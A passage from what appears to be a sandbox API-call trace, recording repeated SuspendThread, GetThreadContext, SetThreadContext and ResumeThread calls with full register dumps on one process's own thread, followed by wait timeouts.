[0121.942] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001479f8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12c9880, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0122.001] ResumeThread (hThread=0x130) returned 0x1
[0122.001] CloseHandle (hObject=0x130) returned 1
[0122.001] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0122.036] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0122.090] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0122.165] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0122.240] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0122.240] SuspendThread (hThread=0x130) returned 0x0
[0122.240] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147ad0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x15c6ffe, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0122.309] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147ac8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0122.393] ResumeThread (hThread=0x130) returned 0x1
[0122.393] CloseHandle (hObject=0x130) returned 1
[0122.393] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0122.532] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0122.605] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0122.686] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0122.736] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0122.837] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0122.940] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0123.014] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0123.014] SuspendThread (hThread=0x130) returned 0x0
[0123.014] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147998, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1302d20, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0123.083] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147990, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, 